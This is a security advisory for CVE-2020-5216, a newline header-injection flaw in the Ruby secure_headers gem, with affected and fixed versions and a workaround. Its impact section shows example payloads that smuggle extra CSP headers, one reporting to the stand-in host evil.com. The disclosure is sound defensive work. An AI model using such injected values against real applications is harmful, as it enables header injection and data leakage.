Advisory

GHSA-w978-rmpf-qmwg

Also known as: CVE-2020-5216

Summary

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Details

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

  • Open an issue in this repo
  • DM us at @ndm on twitter

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2020-01-23 02:27 UTC
Modified
2026-07-08 05:59 UTC

Affected packages and fixes

secure_headers

RubyGems · All systems

Affected

  • introduced 6.0.0, fixed 6.3.0 (ecosystem)

Fixed versions

6.3.0

Fix

The export has no generic command for this ecosystem.

secure_headers

RubyGems · All systems

Affected

  • introduced 5.0.0, fixed 5.2.0 (ecosystem)

Fixed versions

5.2.0

Fix

The export has no generic command for this ecosystem.

secure_headers

RubyGems · All systems

Affected

  • introduced 0, fixed 3.9.0 (ecosystem)

Fixed versions

3.9.0

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences